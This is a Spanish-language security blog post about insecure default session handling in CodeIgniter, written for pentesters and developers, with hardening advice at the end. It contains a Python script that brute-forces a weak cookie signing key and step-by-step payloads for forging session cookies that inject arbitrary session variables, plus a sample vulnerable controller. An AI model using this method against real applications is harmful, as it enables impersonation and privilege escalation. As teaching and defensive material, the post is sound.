(IN)seguridad de datos de sesión en CodeIgniter

(IN)seguridad de datos de sesión en CodeIgniter

Publicado en July 04, 2013 por Paulino Calderon

En el último año revisé algunas aplicaciones web hechas con CodeIgniter y después de ver los mismos errores una y otra vez he decidido escribir un pequeño post. Espero les sirva de referencia a ustedes pentesters y programadores que usan este framework.

 

Identificando aplicaciones CodeIgniter

CodeIgniter únicamente requiere PHP por lo que debe correr en cualquier servidor web que lo soporte y no es posible identificar sus aplicaciones a través de alguna cabecera en especial. Sin embargo una cookie típica se ve así:

Set-Cookie: ci_session=a%3a5%3a{s%3a10%3a"session_id"
%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"
111.111.111.1"%3bs%3a10%3a"user_agent"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+
WOW64%3b+rv%3a21.0)+Gecko/20100101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3b
i%3a1372913399%3bs%3a9%3a"user_data"%3bs%3a0%3a""%3b}b5b3330c886f4ccbc591c02bc94f2e6c;
 expires=Thu, 04-Jul-2013 06:49:59 GMT; path=/

 Además de tener el nombre ci_session, que puede ser cambiado en la configuración, contiene campos como session_idip_addressuser_agentlast_activity y user_data. Estos campos serán nuestra forma de identificar este framework.

 

¿Cómo maneja las sesiones CodeIgniter?

La configuración predeterminada de CodeIgniter guarda los datos de sesión en un objeto serializable en la cookie sin cifrar. Si analizamos el contenido de esta cookie veremos un objeto serializable similar al siguiente:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 
(Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";}


Configuración insegura de sesiones

A pesar de que CodeIgniter si ofrece manejo de sesión seguro a través de cifrado de la cookie y uso de la base de datos, es muy común encontrar la siguiente configuración:

$config['sess_cookie_name'] = 'ci_session';
$config['sess_expiration'] = 7200;
$config['sess_expire_on_close']	= FALSE;
$config['sess_encrypt_cookie'] = FALSE;
$config['sess_use_database'] = FALSE;
$config['sess_table_name'] = 'ci_sessions';
$config['sess_match_ip'] = FALSE;
$config['sess_match_useragent']	= TRUE;
$config['sess_time_to_update']	= 300;

Esta configuración es distribuida con el framework (https://github.com/EllisLab/CodeIgniter/blob/develop/application/config/config.php) por lo que esta en la mayoría de aplicaciones hechas con CodeIgniter. Y desafortunadamente esta configuración permite manipulación de datos de sesión y da puerta a muchas otras vulnerabilidades relacionadas con manejo inseguro de datos de entrada como veremos más adelante.


Protección de objetos de sesión en CodeIgniter

CodeIgniter implementa un sistema básico para tratar de evitar que se alteren los objetos de datos de sesión. Noten que la cookie de sesión no esta compuesta únicamente por el objeto serializable:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; 
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c

Los últimos 32 bytes, en este caso b5b3330c886f4ccbc591c02bc94f2e6c, pertenecen a un hash md5 que es obtenido usando la llave de cifrado y el objeto serializable. Si modificamos el objeto serializable únicamente, el hash no sería igual y el framework detectaría que la petición fue modificada y la rechazaría.


Inyectando datos de sesión

Algo curioso de CodeIgniter es que los datos de sesión no van dentro de user_data como se esperaría. Supongamos que recibimos la siguiente cookie de la aplicación:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";
s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20100101
 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}

Para agregar una variable de sesión con llave “nueva_llave” y valor “nuevo_valor” haríamos lo siguiente:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; 
WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";
i:1372913399;s:9:"user_data";s:0:"";s:11:"nueva_llave&";s:11:"nuevo_valor";}

No se les olvide ajustar el tamaño del array:

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";s:11:”nueva_llave”;s:11:"nuevo_valor";}

Ahora solo falta obtener la llave de cifrado para concatenarla a nuestro objeto a inyectar y así obtener un md5 válido. Si los desarrolladores usaron una llave débil podríamos usar un simple script para obtenerla:

#!/usr/bin/python
import itertools, string, hashlib

ci_cookie_decoded = 'aqui va una cookie valida'
ci_cookie_md5 = ci_cookie_decoded[-32:]
print ci_cookie_md5
ci_cookie = ci_cookie_decoded[:-32]
print ci_cookie
for str in map(''.join, itertools.product(string.ascii_lowercase, repeat=5)):
  print str
  md5sum = hashlib.md5(ci_cookie+str).hexdigest()
  print md5sum
  print ci_cookie_md5
  if md5sum == ci_cookie_md5:
    print "La llave de cifrado es:"+str
    break

Usaremos una cookie válida que recibamos de la aplicación, por ejemplo:

a:5:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";
s:10:"ip_address";s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 
6.2; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;
s:9:"user_data";s:0:"";}b5b3330c886f4ccbc591c02bc94f2e6c

En este caso nuestro script encontró la llave de cifrado “abcde”. Ahora usaremos esta llave para generar objetos serializables válidos. Solo es cuestión de concatenar esta llave de cifrado a nuestro objeto y calcular el hash md5.

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; 
rv:21.0) Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";
s:0:"";s:11:nueva_llave”;s:11:”nuevo_valor”;}abcde

El hash md5 obtenido, en este caso 594c293189734829b075ab09964e378f, sería el checksum que debemos agregar al final del objeto que queramos inyectar:

a:6:{s:10:"session_id";s:32:"d318c7f887edf8242a9cf23785240d60";s:10:"ip_address";
s:13:"111.111.111.1";s:10:"user_agent";s:72:"Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0)
 Gecko/20100101 Firefox/21.0";s:13:"last_activity";i:1372913399;s:9:"user_data";s:0:"";
s:11:"nueva_llave";s:11:"nuevo_valor";}594c293189734829b075ab09964e378f

Después de encodear los carácteres nuestra nuevo cookie manipulada y VÁLIDA quedaría así:

a%3a6%3a{s%3a10%3a"session_id"%3bs%3a32%3a"d318c7f887edf8242a9cf23785240d60
"%3bs%3a10%3a"ip_address"%3bs%3a13%3a"111.111.111.1"%3bs%3a10%3a"user_agent
"%3bs%3a72%3a"Mozilla/5.0+(Windows+NT+6.2%3b+WOW64%3b+rv%3a21.0)+Gecko/201
00101+Firefox/21.0"%3bs%3a13%3a"last_activity"%3bi%3a1372913399%3bs%3a9%3a"
user_data"%3bs%3a0%3a""%3bs%3a11%3a"nueva_llave"%3bs%3a11%3a"nuevo_valor"
%3b}594c293189734829b075ab09964e378f


Identificando aplicaciones vulnerables

Ahora ya que sabemos como inyectar variables de sesión solo necesitamos explotar los errores de lógica y falta de validación de datos que exista en la aplicación.

Por ejemplo, el siguiente es un snippet de una función vulnerable que asume los datos de sesión son seguros y permite que atacantes lean archivos no permitidos, eleven privilegios o tomen la identidad de cualquier otro usuario:

public function dashboard($error){
	$logged = $this->session->userdata('logged_in');
	if($logged == 1){
		if(isset($error)){
			$this->salida['error'] = $error;
		}
		$this->salida['titulo'] = 'Dashboard';
		$this->salida['tipoUsuario'] = $this->session->userdata('tipoUsuario');
		$this->salida['nombre'] = $this->session->userdata('nombre');
		$this->salida['fotoUsuario']  = $this->session->userdata('fotoUsuario');
		$this->salida['thumbUsuario'] = $this->session->userdata('thumbUsuario');
		$tipoUsuario = $this->salida['tipoUsuario'];
		$nombre = $this->salida['nombre'];
		$idUsuario  = $this->session->userdata('idUser');
		
			
		$this->load->view('admin/headers/header', $this->salida);
		$this->load->view('admin/dashboard', $this->salida);
	} else {
		redirect('login');
	}
}

Si tienen acceso al código fuente fijense cuando se accesan y procesan las variables:

$this->session->userdata


 Recomendación a desarrolladores

Me gustaría concluir recomendando a todas las personas que trabajan con CodeIgniter a que activen cifrado de cookies, almacenamiento de sesión en base de datos y le echen un vistazo a todas las opciones de seguridad disponibles en CodeIgniter. Ah, y no se les olvide usar una llave de cifrado segura.

 

Hasta la próxima!


Últimas entradas en nuestro blog

Utilizando Sinfonier para visualizar redes inalámbricas inseguras en México
Sinfonier es una nueva herramienta que permite desplegar topologías de Apache Storm fácilmente. Te invitamos a leer un poco más sobre lo que nuestro equipo ha realizado con ésta plataforma.

Vecinitum de fibra

Recientemente encontramos que es posible generar la contraseña por defecto de los ONT Alcatel-Lucent 240W y posbiblemente otros. La herramienta Vecinitum de fibra nos permite verificar la seguridad de las redes cercanas a nosotros.

Evadiendo restricciones de BIOS al bootear un ISO desde el celular
Evasión de restricción de booteo de BIOS mediante la provocación de un error durante el inicio para iniciar el sistema desde la red utilizando una aplicación de Android que permite bootear una imagen ISO.

Últimas noticias

Oct 03, 2014
Participación de Websec en la Ekoparty Security Conference 10a Edición.
En esta décima edición del ekoparty, Websec tendrá una participación impartiendo la conferencia "Explotación práctica de señales de radio con Software Defined Radio"

May 24, 2014
Websec presente en la Campus Party 2014
Websec ofrecerá cuatro conferencias en el Campus Party más grande del mundo este 24-29 de Junio en Guadalajara